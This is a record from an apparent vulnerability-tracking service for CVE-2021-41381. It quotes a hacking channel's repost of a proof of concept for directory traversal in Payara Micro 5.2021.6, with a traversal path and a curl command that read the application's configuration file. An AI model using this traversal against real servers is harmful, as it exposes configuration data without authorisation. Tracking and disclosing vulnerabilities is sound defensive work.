{"uuid": "029284d0-8321-450d-9f9f-cbe6d36e632e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41381", "type": "seen", "source": "https://t.me/hacking_Attack/26205", "content": "Exploit Collector\nPayara Micro Community 5.2021.6 Directory Traversal\n\nhttps://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png \nPayara Micro Community version 5.2021.6 suffers from a directory traversal vulnerability.\n\nMD5 | facaade4d9c2aaf474e859daee70da16\n\nDownload\n# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal\n# Date: 01/10/2021\n# Exploit Author: Yasser Khan (N3T_hunt3r)\n# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html\n# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x\n# Version: Payara Micro Community 5.2021.6\n# Tested on: Linux/Windows OS\n# CVE : CVE-2021-41381\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-41381\n\nProof of Concept:\n\nStep1: Open the browser check the version of the payara software\n\nStep2: Add this Path at end of the URL\n/.//WEB-INF/classes/META-INF/microprofile-config.properties\n\nStep3: Check the response with match containing\n\"payara.security.openid.default.providerURI=\"\n\n\"payara.security.openid.sessionScopedConfiguration=true\"\n\nStep4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.\n\nStep5: Alternatively we can use CURL by using this command:\n\nRequest:\ncurl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties\n\nReference:\n\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt\nhttps://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-41381\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.687770Z"}